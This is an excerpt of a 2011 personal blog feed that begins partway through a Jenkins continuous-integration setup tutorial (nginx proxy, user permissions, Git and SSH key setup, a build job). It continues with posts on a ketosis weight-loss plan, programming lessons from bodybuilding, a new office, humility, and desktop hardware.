&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sudo rm default
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sudo cat &amp;gt; jenkins
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">upstream app_server {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> server 127.0.0.1:8080 fail_timeout=0;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go">server {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> listen 80;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> listen [::]:80 default ipv6only=on;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> server_name ci.yourcompany.com;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go"> location / {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> proxy_set_header Host $http_host;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> proxy_redirect off;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="go"> if (!-f $request_filename) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> proxy_pass http://app_server;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> break;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">^D # Hit CTRL + D to finish writing the file
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="gp">$&lt;/span> sudo ln -s /etc/nginx/sites-available/jenkins /etc/nginx/sites-enabled/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sudo service nginx restart
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now you should be able to visit &lt;code>http://ci.yourcompany.com/&lt;/code> and see your
Jenkins instance on the default HTTP port &lt;code>80&lt;/code>.&lt;/p>
&lt;h2 id="secure-jenkins">Secure Jenkins&lt;/h2>
&lt;p>Jenkins has built-in user account management, which makes it easy to lock your
interface down. Below, we&amp;rsquo;ll create two accounts: &lt;code>admin&lt;/code> and &lt;code>rdegges&lt;/code>.
&lt;code>admin&lt;/code> will have full permissions to the projects, and &lt;code>rdegges&lt;/code> will only be
able to view project statuses, but not update any settings or make project
changes. Changing the security rules for your environment are pretty
intuitive, once you see how it works:&lt;/p>
&lt;ol>
&lt;li>Click the &lt;strong>Manage Jenkins&lt;/strong> link on the left side of your page.&lt;/li>
&lt;li>Click the &lt;strong>Configure System&lt;/strong> link.&lt;/li>
&lt;li>Check the box labeled &lt;strong>Enable security&lt;/strong>.&lt;/li>
&lt;li>Select the bubble labeled &lt;strong>Jenkins&amp;rsquo;s own user database&lt;/strong>.&lt;/li>
&lt;li>Select the bubble labeled &lt;strong>Matrix-based security&lt;/strong>.&lt;/li>
&lt;li>Enter &lt;strong>admin&lt;/strong> in the text box labeled &lt;strong>User/group to add&lt;/strong> then click
&lt;strong>Add&lt;/strong>.&lt;/li>
&lt;li>Enter &lt;strong>rdegges&lt;/strong> in the text box labeled &lt;strong>User/group to add&lt;/strong> then
click &lt;strong>Add&lt;/strong>.&lt;/li>
&lt;li>For &lt;strong>admin&lt;/strong>, check all the square boxes that run horizontally. This
allows the &lt;strong>admin&lt;/strong> user to do anything.&lt;/li>
&lt;li>For &lt;strong>rdegges&lt;/strong>, check only the square boxes labeled &lt;strong>Read&lt;/strong>.&lt;/li>
&lt;li>Scroll to the bottom of the page and click the &lt;strong>Save&lt;/strong> button.&lt;/li>
&lt;/ol>
&lt;p>If you did everything properly, your page should look something like this:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/simple-continuous-integration-deployment-with-jenkins/jenkins-configuration.png" alt="Jenkins Configuration" title="Jenkins Configuration">
&lt;/p>
&lt;p>Now that you&amp;rsquo;ve applied some rules, you need to actually create the two user
accounts you supplied rules for. On the main Jenkins page, click the &lt;strong>Create
an account&lt;/strong> link, and create two accounts&amp;ndash;one for &lt;code>admin&lt;/code>, and one for
&lt;code>rdegges&lt;/code>. Note that when you log into each of these accounts, they have the
permissions you supplied earlier. If you want to change permissions, just log
in as the &lt;code>admin&lt;/code> user, and go through the same steps above.&lt;/p>
&lt;h2 id="install-and-configure-git">Install and Configure Git&lt;/h2>
&lt;p>The core functionality of Jenkins is to use some form of version control
software (I use &lt;a href="http://git-scm.com/" title="Git">Git&lt;/a>) to check out some release of code, and then do stuff
with it. Below, we&amp;rsquo;ll setup Git on our server, and in Jenkins, so that we can
check out all of our Git projects.&lt;/p>
&lt;p>Firstly, you&amp;rsquo;ll want to run the following commands on your server to install
Git. You&amp;rsquo;ll obviously need to make changes to this code for your environment:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sudo aptitude -y install git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sudo su - jenkins
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> git config --global user.name &lt;span class="s2">&amp;#34;Jenkins CI&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> git config --global user.email &lt;span class="s2">&amp;#34;ci@yourcompany.com&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> ssh-keygen -t rsa -C &lt;span class="s2">&amp;#34;ci@yourcompany.com&amp;#34;&lt;/span> &lt;span class="c1"># Use all the default options, don&amp;#39;t specify&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> # a password.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="gp">$&lt;/span> cat .ssh/id_rsa.pub &lt;span class="c1"># Grant this SSH key access to your Git repositories.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&lt;/span>&lt;span class="gp">#&lt;/span> If you&lt;span class="s1">&amp;#39;re using github, you&amp;#39;&lt;/span>ll also want to &lt;span class="k">do&lt;/span>:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> ssh git@github.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">#&lt;/span> And accept the connection so that you add github.com to your known_hosts file.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once you&amp;rsquo;ve done all that, all you need to do is follow the next few steps in
the web panel:&lt;/p>
&lt;ol>
&lt;li>From the main page, click the &lt;strong>Manage Jenkins&lt;/strong> link.&lt;/li>
&lt;li>Click the &lt;strong>Manage Plugins&lt;/strong> link.&lt;/li>
&lt;li>Click the &lt;strong>Advanced&lt;/strong> tab.&lt;/li>
&lt;li>Click the &lt;strong>Check Now&lt;/strong> button.&lt;/li>
&lt;li>Click the &lt;strong>Back to Dashboard&lt;/strong> link.&lt;/li>
&lt;li>Click the &lt;strong>Manage Jenkins&lt;/strong> link.&lt;/li>
&lt;li>Click the &lt;strong>Manage Plugins&lt;/strong> link.&lt;/li>
&lt;li>Click the &lt;strong>Available&lt;/strong> tab.&lt;/li>
&lt;li>Check the box labeled &lt;strong>Git Plugin&lt;/strong> (it&amp;rsquo;s towards the bottom of the
page).&lt;/li>
&lt;li>Scroll to the bottom of the page and click the &lt;strong>Install&lt;/strong> button.&lt;/li>
&lt;li>Once the plugin has been installed, click the &lt;strong>Restart When No Jobs Are
Running&lt;/strong> button.&lt;/li>
&lt;/ol>
&lt;p>You&amp;rsquo;ve now got Git ready to roll.&lt;/p>
&lt;h2 id="configure-a-project">Configure a Project&lt;/h2>
&lt;p>In this step we&amp;rsquo;ll configure Jenkins to check out the latest copy of our
project&amp;rsquo;s code, run the test suite, and then deploy our code live into
production. It&amp;rsquo;s a lot easier than it sounds, let&amp;rsquo;s take a look:&lt;/p>
&lt;ol>
&lt;li>Click the &lt;strong>New Job&lt;/strong> link.&lt;/li>
&lt;li>Enter your project&amp;rsquo;s name into the &lt;strong>Job name&lt;/strong> box.&lt;/li>
&lt;li>Select the &lt;strong>Build a free-style software project&lt;/strong> link.&lt;/li>
&lt;li>Click the &lt;strong>OK&lt;/strong> button.&lt;/li>
&lt;li>Under the &lt;strong>Source Code Management&lt;/strong> section, select the bubble next to
&lt;strong>Git&lt;/strong>.&lt;/li>
&lt;li>Enter the URL of your Git repository. This is usually something
like: &lt;code>git://github.com/rdegges/django_project.git&lt;/code>.&lt;/li>
&lt;li>Under the &lt;strong>Build Triggers&lt;/strong> section, select the box labeled &lt;strong>Poll SCM&lt;/strong>.&lt;/li>
&lt;li>In the &lt;strong>Schedule&lt;/strong> box that appears, enter &lt;code>* * * * *&lt;/code> (don&amp;rsquo;t
include the quotes). This instructs Jenkins to check your Git repository
for changes every minute. If you want to change the frequency, feel free
to do so using &lt;a href="http://adminschoice.com/crontab-quick-reference" title="crontab reference">crontab format&lt;/a>.&lt;/li>
&lt;li>Under the &lt;strong>Build&lt;/strong> section, click the &lt;strong>Add Build Step&lt;/strong> button, then
select &lt;strong>Execute shell&lt;/strong>.&lt;/li>
&lt;li>In the &lt;strong>Command&lt;/strong> box that appears, enter your commands to build, test,
and deploy your software.&lt;/li>
&lt;li>Scroll to the bottom of the page and click the &lt;strong>Save&lt;/strong> button.&lt;/li>
&lt;/ol>
&lt;p>That&amp;rsquo;s it! Jenkins will now automatically poll your Git repository every
minute for changes. If any code was changed, it will check out the latest
version of your code, then execute the commands you specified as build
steps&amp;ndash;which should be testing and deploying your code.&lt;/p>
&lt;p>If you go back to the main page, you&amp;rsquo;ll be able to view the status of all your
projects, and click through to see detailed information about builds, errors,
and lots of other neat stuff.&lt;/p>
&lt;h2 id="rtfm">RTFM&lt;/h2>
&lt;p>Obviously, a 5 minute walk-through is no excuse for not learning how to use
Jenkins properly. If you want to learn how to make the best use of Jenkins,
and experiment with the hundreds of awesome plugins that it has, be sure to
read the &lt;a href="http://jenkins-ci.org/" title="Jenkins Documentation">official documentation&lt;/a>.&lt;/p></description></item><item><title>Building a Better Body</title><link>https://rdegges.com/2011/building-a-better-body/</link><pubDate>Sun, 03 Apr 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/building-a-better-body/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/building-a-better-body/bodybuilder-sketch.png" alt="Bodybuilder Sketch" title="Bodybuilder Sketch">
&lt;/p>
&lt;p>Since last October I&amp;rsquo;ve been trying to build a better body. In September, I
was somewhere near 300lbs and extremely out of shape. In October I started
experimenting with rudimentary diet and exercise routines to measure their
success.&lt;/p>
&lt;p>What I discovered really surprised me: &lt;strong>it is relatively easy to get quick
results&lt;/strong>. It doesn&amp;rsquo;t take forever. Even running a few times a week, and
making light changes to your diet can have profound effects. The first thing
I did when I started was I did some jogging at a park near my house for blocks
of 15 to 20 minutes (all I could do, really). Eventually I also started eating
lighter (lots of salads and breads) instead of fast food and sandwiches.
Within the first month I&amp;rsquo;d lost about 10lbs, and was feeling much healthier.&lt;/p>
&lt;p>Since I was seeing results, I decided to start reading some fitness books on
various topics and educate myself a bit. As a programmer, the first book I
read was &lt;a href="http://www.fourmilab.ch/hackdiet/" title="The Hacker's Diet">The Hacker&amp;rsquo;s Diet&lt;/a>. It&amp;rsquo;s a famous book with engineers as it takes
a pragmatic approach to weight loss. Highly recommended for tech-minded folks.
I also read through &lt;a href="http://www.amazon.com/gp/product/0982565844/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0982565844&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Paleo Solution">The Paleo Solution&lt;/a>, which was the first book that
really taught me about the benefits of low-carb in a straightforward way (also:
if you&amp;rsquo;re looking for a good book on paleo or low-carb diets, check this one
out. It&amp;rsquo;s simple, and really interesting if you&amp;rsquo;ve never read up on the
subject before.). Then I read the classic book
&lt;a href="http://www.amazon.com/gp/product/1400033462/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1400033462&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Good Calories, Bad Calories">Good Calories, Bad Calories&lt;/a>, which goes into more depth about the low-carb
stuff, why it works the way it does, and how you can use it to your benefit.&lt;/p>
&lt;p>After reading some good fitness books, I re-evaluated my approach to weight
loss. I decided to adapt the &amp;ldquo;Hacker&amp;rsquo;s Diet&amp;rdquo; approach and just count calories.
I made an account on &lt;a href="http://dailyburn.com/" title="DailyBurn">DailyBurn&lt;/a> and started tracking everything I ate. I
started with a -1000 calorie per day deficit, and gradually lost weight and got
to the point I am at now (235 lbs). It wasn&amp;rsquo;t always easy, I had lots of cheat
days in between, and learned a lot along the way about exercise, fitness, and
health.&lt;/p>
&lt;p>Now that I&amp;rsquo;m at 235lbs, I&amp;rsquo;m going finish up my journey and reach my first major
goal: 180lbs. For the past week I&amp;rsquo;ve been creating a game plan for reaching
180lbs, which I&amp;rsquo;ll share here. For the remainder of my diet, I&amp;rsquo;m going to be
entering &lt;a href="http://forum.bodybuilding.com/showthread.php?t=132598293" title="ketosis">ketosis&lt;/a>.&lt;/p>
&lt;p>In a nutshell, I&amp;rsquo;ll be consuming less than 30g of carbohydrates in my diet each
day. This will force my body to switch its fuel source from sugars
(carbohydrates) to fats (fat tissue, and fats in food). This basically makes
losing fat a lot faster as you&amp;rsquo;re only losing fat, and not muscle.&lt;/p>
&lt;p>In addition to staying on ketosis from tomorrow until I&amp;rsquo;m 180lbs, I&amp;rsquo;m also
upgrading my exercise routine a bit. I&amp;rsquo;m doing 30 minutes of cardio in the
mornings before breakfast, and doing CrossFit 5 days a week in the evenings to
help burn calories and build muscle.&lt;/p>
&lt;p>Hitting 180 is a bit deal for me. Once I hit 180lbs I&amp;rsquo;m having a little party,
and celebrating my discipline by getting the tattoos I&amp;rsquo;ve wanted for years.
Then it&amp;rsquo;s off to hit my next fitness goals which include a lot of weights and
bodybuilding.&lt;/p>
&lt;p>To everyone who wants to get in shape, just do it. It&amp;rsquo;s all in the mind.&lt;/p>
&lt;p>I&amp;rsquo;ll leave you all with this &lt;a href="http://www.youtube.com/watch?v=8nartK6wodo" title="Back on my Regimen">awesome music video from Dead Prez&lt;/a>.&lt;/p></description></item><item><title>5 Things Programmers Can Learn From Bodybuilders</title><link>https://rdegges.com/2011/5-things-programmers-can-learn-from-bodybuilders/</link><pubDate>Sat, 26 Mar 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/5-things-programmers-can-learn-from-bodybuilders/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/5-things-programmers-can-learn-from-bodybuilders/jay-cutler.png" alt="Jay Cutler" title="Jay Cutler">
&lt;/p>
&lt;p>Programming is hard. Whether you do it for fun, for money, for fun &amp;amp; money, or
whether someone has a gun pointed at your head and is forcing you to program&amp;hellip;
It ain&amp;rsquo;t easy.&lt;/p>
&lt;p>There are a lot of things you need to know. You can never rest, never stop
learning, and never stop coding if you want to be great. The best programmers
are the ones who fearlessly tackle problem after problem, every day, and
gradually learn the patterns, tricks, and tools that help them do their work
better.&lt;/p>
&lt;p>The sport of bodybuilding can teach us (as programmers) a lot about ourselves.&lt;/p>
&lt;h2 id="nothing-great-comes-easily">Nothing Great Comes Easily&lt;/h2>
&lt;p>In life, nothing great comes easily. It doesn&amp;rsquo;t matter how much of an
advantage or disadvantage you have&amp;ndash;everyone must work for their success and
fight to get what they want. Whether you want to be the greatest programmer in
the world, or the largest bodybuilder, it requires lots of sacrifice, struggle,
and time.&lt;/p>
&lt;p>Bodybuilders spend years working on their physiques. They have to eat lots of
healthy food, workout almost every day, push themselves beyond their physical
limits, and fight through immense pain. As programmers, we need to adapt this
practice. There are no perfect programmers, there are only programmers who
continue working hard to become better, faster, and more creative. If you want
to be a better programmer, you need to program, every single day.&lt;/p>
&lt;h2 id="be-consistent">Be Consistent&lt;/h2>
&lt;p>Consistency is the largest ingredient in success. Bodybuilders spend years
(literally) working out every single day. Doing lifts, cardio, eating proper
foods. Dorian Yates (a famous bodybuilder) famously said: &amp;ldquo;Moderation in
bodybuilding is a vice, moderation is discipline is a failure.&amp;rdquo; In order to
keep improving as a person, you need to be consistent.&lt;/p>
&lt;p>Regardless of your natural aptitude for something, whether it be programming or
bodybuilding, work consistently towards your goals and you will reach them. To
not be consistent is to commit suicide. It may be hard to wake up every
morning and program, or hit the gym, but that dedication is what pushes you
past your natural limits and helps your mind and body continue to grow.&lt;/p>
&lt;h2 id="know-what-you-want">Know What You Want&lt;/h2>
&lt;p>One of the most difficult things to figure out is what you really want in life.
Do you want to be the strongest person alive? The most successful programmer
in the world? Make over a million dollars a year? It isn&amp;rsquo;t easy to figure out
what you want to accomplish in your life, but it is crucial in becoming a more
successful person.&lt;/p>
&lt;p>Bodybuilders strive to build the perfect physique. They want to have perfect
physical symmetry and defined muscle groups. Training for bodybuilding is
intense, it requires lots of meticulous planning, and an exact physique to
strive for. They know exactly how large they need to their waste, biceps,
chest, and thighs to be. They have clearly defined targets that they work to
reach day after day.&lt;/p>
&lt;p>In order to be a successful programmer, you should also know exactly what you
want. You should know the technologies you need to learn, what sorts of apps
you want to be able to build, and have a scale to measure your success along
the way. Having clear goals gives you something to work towards everyday and
helps keep you focused.&lt;/p>
&lt;h2 id="learn-from-those-around-you">Learn From Those Around You&lt;/h2>
&lt;p>Don&amp;rsquo;t ignore those around you. Use knowledge you get from other people to
increase your effectiveness in whatever you do.&lt;/p>
&lt;p>Isaac Newton was famous for saying: &amp;ldquo;If I have seen a little further it is by
standing on the shoulders of Giants.&amp;rdquo;&lt;/p>
&lt;p>What Newton means of course is that to be great you should use the knowledge
that those before you have discovered, and continue from where they left off.&lt;/p>
&lt;p>Bodybuilders in particular use this practice often. They learn about
techniques, nutrition, and supplementation from other bodybuilders who have
experimented along the way. They constantly strive to pick up where others
have left off and find new and more effective ways to push their bodies beyond
their limits in order to achieve the perfect physique and frame that they want.&lt;/p>
&lt;p>In programming, we often prefer to do things &amp;ldquo;our way&amp;rdquo;, whether it ignores
previous research or not. To be a good programmer, you need to know when to
ignore advice from others, and when to use it to your advantage. You need to
be able to analyze the techniques of your colleagues, and build upon what they
have done.&lt;/p>
&lt;p>Once you&amp;rsquo;ve learned to accept outside influence you can develop your skills
much faster and more effectively, but when you stop absorbing knowledge you
lose this edge.&lt;/p>
&lt;h2 id="always-go-for-the-win">Always Go For the Win&lt;/h2>
&lt;p>Bodybuilders need to break through mental and physical barriers everyday. In
order to win competitions, they go to extraordinary lengths that most people
would consider crazy. Ask any champion bodybuilder how they train, and they
will tell you that they train to win. Anything less is unacceptable. This
practice applies to programming as well.&lt;/p>
&lt;p>When you start working on your application, give it 100% of your energy and
effort and nothing less. Don&amp;rsquo;t aim for the minimum you can get away with, aim
for perfect every single time. Only by working as hard as you possibly can
every time you sit down will you be able to achieve great things. Building
software is complex and tiring, and requires great dedication, effort, and
passion to be successful.&lt;/p>
&lt;p>Let&amp;rsquo;s face it, we build software for users. What separates bad software, from
&lt;em>ok&lt;/em> software, from good software, from amazing software&amp;ndash;is the little things.
Don&amp;rsquo;t take shortcuts in your work. Always deploy kickass software, and you
will never fail. As long as you give it 100% of your effort you can&amp;rsquo;t go
wrong.&lt;/p>
&lt;p>Bodybuilding like programming requires a lot of effort, patience, and passion.
As programmers, we can learn a lot from bodybuilers, to help us reach new
levels of technical ability.&lt;/p>
&lt;p>Always keep pushing yourself beyond your limits, and you will achieve great
things.&lt;/p></description></item><item><title>My New Office</title><link>https://rdegges.com/2011/my-new-office/</link><pubDate>Wed, 16 Mar 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/my-new-office/</guid><description>&lt;p>As a programmer, I spend a lot of time in my office. It&amp;rsquo;s my sanctuary. It&amp;rsquo;s
where I do all of my work, where I learn a lot of new things, and where I have
a lot of fun.&lt;/p>
&lt;p>Since I moved into my new apartment several months back, I&amp;rsquo;ve had a pretty
decent setup. I had a 6-foot Costco desk (hey, they&amp;rsquo;re only 50$), and used
that to hold all of my stuff. It wasn&amp;rsquo;t pretty&amp;ndash;but it worked. A few days ago
Sami and I were at Office Depot and I saw a desk I couldn&amp;rsquo;t leave behind, so I
ordered it. Yesterday it arrived, and I finally got it all built and setup
(with the help of Sami, and my sister). It&amp;rsquo;s a large corner desk and a new
cedar / leather chair. Definitely a step up.&lt;/p>
&lt;p>I decided to take pictures of the whole thing (my old desk, me cleaning out the
room, me building the new desk and chair, and the final result). Let me know
what you think! I love checking out other people&amp;rsquo;s workplaces, and I hope you
enjoy mine!&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-1.png" alt="Office 1" title="Office 1">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-2.png" alt="Office 2" title="Office 2">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-3.png" alt="Office 3" title="Office 3">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-4.png" alt="Office 4" title="Office 4">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-5.png" alt="Office 5" title="Office 5">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-6.png" alt="Office 6" title="Office 6">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-7.png" alt="Office 7" title="Office 7">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-8.png" alt="Office 8" title="Office 8">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-9.png" alt="Office 9" title="Office 9">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-10.png" alt="Office 10" title="Office 10">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-11.png" alt="Office 11" title="Office 11">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-12.png" alt="Office 12" title="Office 12">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-13.png" alt="Office 13" title="Office 13">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-14.png" alt="Office 14" title="Office 14">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-15.png" alt="Office 15" title="Office 15">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-16.png" alt="Office 16" title="Office 16">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-17.png" alt="Office 17" title="Office 17">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-18.png" alt="Office 18" title="Office 18">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-19.png" alt="Office 19" title="Office 19">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-20.png" alt="Office 20" title="Office 20">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-new-office/office-21.png" alt="Office 21" title="Office 21">
&lt;/p></description></item><item><title>Don't Get Too Cocky</title><link>https://rdegges.com/2011/dont-get-too-cocky/</link><pubDate>Sun, 06 Mar 2011 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/dont-get-too-cocky/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/dont-get-too-cocky/rooster-sketch.png" alt="Rooster Sketch" title="Rooster Sketch">
&lt;/p>
&lt;p>I learned an important lesson a few months ago, and thought I&amp;rsquo;d share. Don&amp;rsquo;t
get too cocky.&lt;/p>
&lt;p>For the longest time I considered myself a good programmer. In university, I
would wait till the last minute to finish my computer science projects as I
already knew how to do them, and when working on other projects I&amp;rsquo;d generally
spend 99% of my time researching new things, and only 1% of my time actually
doing them. I got cocky.&lt;/p>
&lt;p>In my head, I was able to justify my actions: &amp;ldquo;I already know this stuff. No
reason why I should bother starting early because it&amp;rsquo;s a piece of cake.&amp;rdquo; I
remember sitting in the lab at 2am in the morning the day before my project was
due hacking away&amp;ndash;thinking of all the other &amp;ldquo;normal&amp;rdquo; people in my class who
were working on the project the entire week. &amp;ldquo;What fools!&amp;rdquo; I thought.&lt;/p>
&lt;p>Unfortunately, while being cocky is sometimes a positive force, more often then
not it blows up in your face. I realized this several months ago when trying
to design a simple web page for work. I&amp;rsquo;ve never been a real designer. I&amp;rsquo;ve
always considered myself a strictly &amp;ldquo;back-end&amp;rdquo; developer. Most of my work and
fun comes from coding the low-level components. Years ago, when I first
started working on web-type stuff, I dismissed HTML and CSS as beginner&amp;rsquo;s
toys: &amp;ldquo;They aren&amp;rsquo;t real programming languages. They&amp;rsquo;re only for displaying
data. Any monkey can make a template.&amp;rdquo; When I began working on my template
for work, I realized how wrong I was.&lt;/p>
&lt;p>It&amp;rsquo;s easy to criticize and dismiss things that look &amp;ldquo;easy&amp;rdquo; without ever really
working on them to accomplish something. In my case, trying to build this
simple template for work turned out to be one of the most frustrating
experiences in my life. I spent far over 100 hours writing a template for the
site, and it was one of the ugliest things imaginable. What made it worse, of
course, is that I knew what I wanted it to look like, but because of my lack
of care for the technology, I couldn&amp;rsquo;t build what I wanted.&lt;/p>
&lt;p>Lesson learned.&lt;/p>
&lt;p>This month I&amp;rsquo;m actually going back and starting fresh again with HTML and CSS.
I decided to take them seriously this time around, and really learn it
properly. My goal is to eventually re-write the work template I failed at a
few months ago, and become good enough to build designs for myself, and not
rely on outside help.&lt;/p>
&lt;p>I think that being humble is a great quality to have. While being cocky can
sometimes give you the confidence to do something, being humble gives you the
mindset to continue doing things, and get progressively better at them over
time.&lt;/p>
&lt;p>Regardless of how awesome you are, don&amp;rsquo;t let it get to your head.&lt;/p></description></item><item><title>My Desktop Environment</title><link>https://rdegges.com/2011/my-desktop-environment/</link><pubDate>Sat, 12 Feb 2011 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/my-desktop-environment/</guid><description>&lt;p>I love reading about the tools that other people use daily, what sort of
editors they use, what software they consider essential, how they use it, and
why. I&amp;rsquo;ve never taken the time to do a write up about the tools I use, so I
figured this weekend would be as good a time as any.&lt;/p>
&lt;h2 id="general-environment-information">General Environment Information&lt;/h2>
&lt;ul>
&lt;li>&lt;strong>Computer&lt;/strong>: Desktop (custom built). 16GB RAM, 2TB disk, wired Ethernet,
quad core Intel core 7 CPU, nVidia GeForce GTX 285.&lt;/li>
&lt;li>&lt;strong>OS&lt;/strong>: &lt;a href="http://www.kubuntu.org/" title="Kubuntu 10.10 64-bit">Kubuntu 10.10 64-bit&lt;/a> (latest).&lt;/li>
&lt;li>&lt;strong>Monitors&lt;/strong>: 2x Hanns-G 26&amp;quot; 1080p LCD monitors.&lt;/li>
&lt;li>&lt;strong>Speakers&lt;/strong>: Creative 2.1.&lt;/li>
&lt;li>&lt;strong>Keyboard&lt;/strong>: &lt;a href="http://www.amazon.com/gp/product/B001F51G16/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B001F51G16&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Logitech Illuminated Keyboard">Logitech Illuminated Keyboard&lt;/a>.&lt;/li>
&lt;li>&lt;strong>Mouse&lt;/strong>: &lt;a href="http://www.amazon.com/gp/product/B002HWRJBM/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B002HWRJBM&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Logitech Performance MX">Logitech Performance MX&lt;/a>.&lt;/li>
